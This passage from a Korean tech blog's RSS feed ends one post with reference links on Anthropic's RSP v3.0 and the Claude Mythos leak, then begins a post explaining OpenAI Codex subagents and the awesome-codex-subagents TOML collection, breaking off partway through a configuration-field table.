&lt;div style=&quot;padding-left: 15px; color: #495057;&quot;&gt;A: 직접적인 즉각 영향은 없다. 그러나 사이버보안 역량이 극적으로 높은 AI 모델이 출시되면, 코드베이스 보안 취약점이 자동으로 탐지&amp;middot;악용될 리스크가 높아진다. 앤트로픽이 방어자 우선 배포를 고려하는 만큼, 보안 도구 활용과 코드베이스 점검을 선제적으로 진행하는 것이 권장된다.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;!-- ============================================================ --&gt; &lt;!-- 참고 자료 --&gt; &lt;!-- ============================================================ --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;10. 참고 자료&lt;/b&gt;&lt;/h2&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 20px; border-radius: 8px; margin: 25px 0;&quot;&gt;
&lt;h3 style=&quot;color: #1a3a52; margin: 0 0 15px; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;공식 출처&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://fortune.com/2026/03/26/anthropic-says-testing-mythos-powerful-new-ai-model-after-data-leak-reveals-its-existence-step-change-in-capabilities/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Fortune 단독 보도 (2026-03-26)&lt;/a&gt; &amp;mdash; Claude Mythos 유출 원본 보도&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.anthropic.com/news/responsible-scaling-policy-v3&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic RSP v3.0 공식 발표&lt;/a&gt; &amp;mdash; 2026-02-24 발효&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://anthropic.com/responsible-scaling-policy/rsp-v3-0&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic RSP v3.0 전문&lt;/a&gt; &amp;mdash; 전체 정책 문서&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.anthropic.com/responsible-scaling-policy&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Anthropic Responsible Scaling Policy&lt;/a&gt; &amp;mdash; ASL 체계 공식 페이지&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f5f9fc; padding: 20px; border-radius: 8px; margin: 25px 0; border: 1px solid #cce5ff;&quot;&gt;
&lt;h3 style=&quot;color: #1a3a52; margin: 0 0 15px; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;심층 분석 자료&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.governance.ai/analysis/anthropics-rsp-v3-0-how-it-works-whats-changed-and-some-reflections&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;GovAI &amp;mdash; RSP v3.0 심층 분석&lt;/a&gt; &amp;mdash; 변경 사항 및 시사점&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://the-decoder.com/anthropic-leak-reveals-new-model-claude-mythos-with-dramatically-higher-scores-on-tests-than-any-previous-model/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;The Decoder &amp;mdash; Claude Mythos 성능 분석&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.safer-ai.org/anthropics-responsible-scaling-policy-update-makes-a-step-backwards&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;SaferAI &amp;mdash; RSP v3.0 비판적 분석&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://www.lennysnewsletter.com/p/head-of-claude-code-what-happens&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Lenny's Newsletter &amp;mdash; Boris Cherny 인터뷰&lt;/a&gt; &amp;mdash; Claude Code 및 AI 미래&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://mlq.ai/news/anthropic-releases-revised-responsible-scaling-policy-30-with-adjusted-safety-commitments/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MLQ.ai &amp;mdash; RSP v3.0 주요 변경 정리&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f5f9fc; padding: 20px; border-radius: 8px; margin: 25px 0; border: 1px solid #cce5ff;&quot;&gt;
&lt;h3 style=&quot;color: #1a3a52; margin: 0 0 15px; font-size: 18px;&quot; data-ke-size=&quot;size23&quot;&gt;경쟁사 안전 정책 자료&lt;/h3&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://openai.com/preparedness/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Preparedness Framework&lt;/a&gt; &amp;mdash; Tracked Categories, High/Critical capability 등급 체계&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 10px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://deepmind.google/discover/blog/updating-our-frontier-safety-framework/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Google DeepMind Frontier Safety Framework v3 (2025-09-22)&lt;/a&gt; &amp;mdash; CCL, alert thresholds, safety case reviews&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;</description>
      <category>AI/AI 주간 News (AI 트렌드 기록)</category>
      <category>Anthropic 유출</category>
      <category>ASL-4</category>
      <category>Capybara AI</category>
      <category>Claude Mythos</category>
      <category>gpt-5 비교</category>
      <category>pause commitment</category>
      <category>RSP v3.0</category>
      <category>사이버보안 AI</category>
      <category>클로드 미토스</category>
      <category>프론티어 AI</category>
      <author>갓대희</author>
      <guid isPermaLink="true">https://goddaehee.tistory.com/568</guid>
      <comments>https://goddaehee.tistory.com/568#entry568comment</comments>
      <pubDate>Sun, 29 Mar 2026 20:04:04 +0900</pubDate>
    </item>
    <item>
      <title>OpenAI Codex 서브에이전트 - awesome-codex-subagents : 136개 Codex SubAgents 모음( TOML 에이전트 컬렉션 )</title>
      <link>https://goddaehee.tistory.com/567</link>
      <description>&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.7; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;&lt;span style=&quot;font-family: Pretendard, -apple-system, BlinkMacSystemFont, system-ui, sans-serif; letter-spacing: 0px;&quot;&gt;&amp;nbsp;안녕하세요! 갓대희 입니다.&lt;/span&gt;&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2362&quot; data-origin-height=&quot;1578&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/clman6/dJMcadIa11s/NVASDNvs0hFGlmYXLJCXC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/clman6/dJMcadIa11s/NVASDNvs0hFGlmYXLJCXC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/clman6/dJMcadIa11s/NVASDNvs0hFGlmYXLJCXC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fclman6%2FdJMcadIa11s%2FNVASDNvs0hFGlmYXLJCXC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2362&quot; height=&quot;1578&quot; data-origin-width=&quot;2362&quot; data-origin-height=&quot;1578&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;font-family: 'Pretendard', -apple-system, BlinkMacSystemFont, system-ui, sans-serif; line-height: 1.8; max-width: 900px; margin: 0 auto; font-size: 16px; box-sizing: border-box; color: #333;&quot;&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;2026년 3월 16일, OpenAI가 Codex CLI에 &lt;b&gt;서브에이전트(Subagents)&lt;/b&gt; 기능을 정식 출시했다. 바로 다음 날인 3월 17일, 커뮤니티는 이미 반응했다. VoltAgent가 &lt;b&gt;awesome-codex-subagents&lt;/b&gt;를 공개한 것이다. 136개 이상의 전문화된 에이전트 정의를 담은 이 컬렉션은 공개 9일 만에 2,778 Stars(2026-03-26 기준)를 기록했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size8&quot;&gt;해당 컬렉션의 구조와 활용방법을 &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI 공식 문서&lt;/a&gt;를 기반으로 정리해보려 한다.&lt;/p&gt;
&lt;!-- 목차 --&gt;
&lt;div style=&quot;background-color: #f8fbff; padding: 20px 25px; border-radius: 12px; border: 2px solid #cce5ff; margin: 20px 0 30px 0;&quot;&gt;
&lt;h3 style=&quot;color: #0066cc; margin: 0 0 15px 0; font-size: 18px; border-bottom: 2px solid #cce5ff; padding-bottom: 10px;&quot; data-ke-size=&quot;size23&quot;&gt;목차&lt;/h3&gt;
&lt;ol style=&quot;margin: 0; padding-left: 20px; line-height: 2;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;왜 서브에이전트 컬렉션이 필요한가
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;단일 에이전트의 컨텍스트 오염 문제&lt;/li&gt;
&lt;li&gt;Codex 서브에이전트 GA 개요&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Codex 서브에이전트 핵심 개념
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;3가지 빌트인 에이전트&lt;/li&gt;
&lt;li&gt;TOML 파일 구조&lt;/li&gt;
&lt;li&gt;필수/선택 필드 전체 목록&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;awesome-codex-subagents 프로젝트
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;VoltAgent 소개&lt;/li&gt;
&lt;li&gt;10개 카테고리 136+ 에이전트 총정리&lt;/li&gt;
&lt;li&gt;설치 및 사용법&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;모델 라우팅 &amp;amp; 샌드박스 전략
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;컬렉션이&amp;nbsp;주로&amp;nbsp;쓰는&amp;nbsp;2가지&amp;nbsp;모델&lt;/li&gt;
&lt;li&gt;샌드박스 모드 활용법&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;실전 워크플로우 예제 3가지
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;PR 리뷰 자동화&lt;/li&gt;
&lt;li&gt;버그 조사 파이프라인&lt;/li&gt;
&lt;li&gt;spawn_agents_on_csv 배치 처리&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;VoltAgent 에이전트 생태계
&lt;ul style=&quot;margin: 5px 0; padding-left: 20px; line-height: 1.8;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;awesome-agent-skills (멀티플랫폼)&lt;/li&gt;
&lt;li&gt;awesome-claude-code-subagents&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;Claude Code 서브에이전트와의 비교&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;주의사항 &amp;amp; 트러블슈팅 Q&amp;amp;A&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 5px;&quot;&gt;결론: 언제 쓰고 언제 쓰지 않는가&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 콜아웃 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-weight: bold; color: #0066cc;&quot; data-ke-size=&quot;size8&quot;&gt;이 글 3줄 요약&lt;/p&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Codex 서브에이전트 = &lt;b&gt;독립 컨텍스트로 병렬 실행&lt;/b&gt;되는 전문화 에이전트. 2026-03-16 GA.&lt;/li&gt;
&lt;li&gt;awesome-codex-subagents = &lt;b&gt;136개 즉시 쓸 수 있는 TOML 에이전트 정의&lt;/b&gt; 컬렉션. 9일 만에 2,778 Stars.&lt;/li&gt;
&lt;li&gt;설치는 &lt;code&gt;.toml&lt;/code&gt; 파일을 &lt;code&gt;~/.codex/agents/&lt;/code&gt;에 복사하는 것이 전부다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- Section 1 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;1. 왜 서브에이전트 컬렉션이 필요한가&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;단일 에이전트의 컨텍스트 오염 문제&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Codex에게 &quot;PR을 리뷰하고, 보안 취약점을 찾고, 문서도 업데이트해&quot;라고 시키면 어떻게 될까. 하나의 에이전트가 세 가지 역할을 동시에 수행하면서 컨텍스트 창이 섞인다. 보안 검토 중에 문서 초안이 끼어들고, 코드 리뷰 맥락이 인프라 분석과 뒤엉킨다. 공식 문서는 이를 &lt;b&gt;&quot;컨텍스트 오염(context pollution)&quot;&lt;/b&gt;이라고 정의한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브에이전트는 이 문제를 구조적으로 해결한다. 각 에이전트가 독립된 컨텍스트 창에서 자신의 역할에만 집중하기 때문에 출력의 집중도와 일관성이 높아진다. 탐색, 테스트, 분석처럼 읽기 위주의 병렬 처리에서 특히 효과적이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;Codex 서브에이전트 GA 개요&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2026년 3월 16일, OpenAI는 Codex CLI와 앱에서 서브에이전트 기능을 정식 공개(GA)했다. 커뮤니티 반응은 빨랐다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://simonwillison.net/2026/Mar/16/codex-subagents/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Simon Willison은 같은 날 블로그&lt;/a&gt;에 서브에이전트 패턴이 &quot;OpenAI, Claude, Gemini, Mistral, VS Code 등 주요 플랫폼 전반에서 코딩 에이전트의 표준 아키텍처로 자리잡았다&quot;고 분석했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Rick Hightower는 Medium 기고에서 &lt;a href=&quot;https://medium.com/@richardhightower/codex-gets-subagents-the-parallel-ai-coding-pattern-is-now-industry-standard-how-does-it-stack-35bd217ef11f&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;explorer/worker/orchestrator 패턴이 이제 de facto 표준&lt;/a&gt;이라고 평했다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px 20px; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;b&gt;참고&lt;/b&gt;: 서브에이전트 기능은 현재 Codex 앱과 CLI에서 지원된다. IDE 확장 프로그램 지원은 공식 문서 기준 아직 미정이다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Subagents 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;/div&gt;
&lt;!-- Section 2 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; border-bottom: 3px solid #cce5ff; padding-bottom: 8px; margin-top: 40px;&quot; data-ke-size=&quot;size26&quot;&gt;2. Codex 서브에이전트 기본 개념&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;3가지 빌트인 에이전트&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치 직후부터 세 가지 에이전트를 바로 쓸 수 있다. (출처: &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Subagents 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;에이전트&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;권한&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;언제 쓰는가&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;default&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;범용 폴백&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;일반&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;명시적 에이전트를 지정하지 않은 일반 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;worker&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;구현/수정 실행&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;읽기-쓰기&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;코드 작성, 파일 수정, 기능 구현&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;explorer&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;코드베이스 탐색&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;읽기 전용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;분석, 조사, 패턴 파악 (수정 없음)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;&lt;i&gt;한 줄 요약: &lt;code&gt;explorer&lt;/code&gt;가 지도를 그리고, &lt;code&gt;worker&lt;/code&gt;가 공사를 하고, &lt;code&gt;default&lt;/code&gt;가 나머지를 처리한다.&lt;/i&gt;&lt;/p&gt;
&lt;p style=&quot;color: #666;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;TOML 파일 구조&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;커스텀 에이전트는 &lt;code&gt;.toml&lt;/code&gt; 파일로 정의한다. 파일 위치는 두 가지다.&lt;/p&gt;
&lt;ul style=&quot;padding-left: 25px; margin: 10px 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;code&gt;~/.codex/agents/&lt;/code&gt; &amp;mdash; 전역. 모든 프로젝트에서 사용 가능&lt;/li&gt;
&lt;li&gt;&lt;code&gt;.codex/agents/&lt;/code&gt; &amp;mdash; 프로젝트별. 동일 이름이면 이쪽이 우선&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래는 실제 awesome-codex-subagents 컬렉션에서 사용하는 TOML 구조다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://github.com/VoltAgent/awesome-codex-subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;VoltAgent/awesome-codex-subagents GitHub&lt;/a&gt;)&lt;/p&gt;
&lt;pre class=&quot;ini&quot; style=&quot;background-color: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; padding: 20px; border-radius: 8px; overflow-x: auto; line-height: 1.6; margin: 15px 0;&quot; data-ke-language=&quot;ini&quot;&gt;&lt;code&gt;# ~/.codex/agents/backend-developer.toml

name = &quot;backend-developer&quot;
description = &quot;Node.js/Python/Go 백엔드 개발, REST/gRPC API 설계, DB 스키마, 성능 최적화&quot;

model = &quot;gpt-5.4&quot;
model_reasoning_effort = &quot;high&quot;
sandbox_mode = &quot;workspace-write&quot;

[instructions]
text = &quot;&quot;&quot;
You are a senior backend developer specializing in server-side applications
with deep expertise in Node.js 18+, Python 3.11+, and Go 1.21+.

Focus on building scalable, secure, and performant backend systems.
Always validate inputs, handle errors gracefully, and write tests.
&quot;&quot;&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; font-weight: 600; margin-top: 25px;&quot; data-ke-size=&quot;size23&quot;&gt;필수/선택 필드 전체 목록&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서 기준 TOML 필드 전체 목록이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(출처: &lt;a href=&quot;https://developers.openai.com/codex/subagents&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;OpenAI Codex Subagents 공식 문서&lt;/a&gt;)&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;필드&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;필수&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;설명&lt;/th&gt;
&lt;th style=&quot;border: 1px solid #b3d9ff; padding: 10px 14px; text-align: left; font-weight: 600;&quot;&gt;예시 값&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;name&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;에이전트 식별자. 호출 시 이 이름 사용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;&quot;security-auditor&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;description&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;언제 이 에이전트를 써야 하는지 설명&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;&quot;보안 감사, CVE 검토&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;developer_instructions&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;O&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;핵심 동작 지침 (instructions.text 대체 가능)&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;멀티라인 문자열&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;model&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;미지정 시 상속&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;사용할 모델. 미지정 시 부모 세션 모델 사용&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;&quot;gpt-5.4&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;model_reasoning_effort&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;선택&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;추론 강도: high / medium / low&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;&quot;medium&quot;&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f9f9f9;&quot;&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;&lt;code&gt;sandbox_mode&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #ddd; padding: 10px 14px;&quot;&gt;선택&lt;/td&gt;
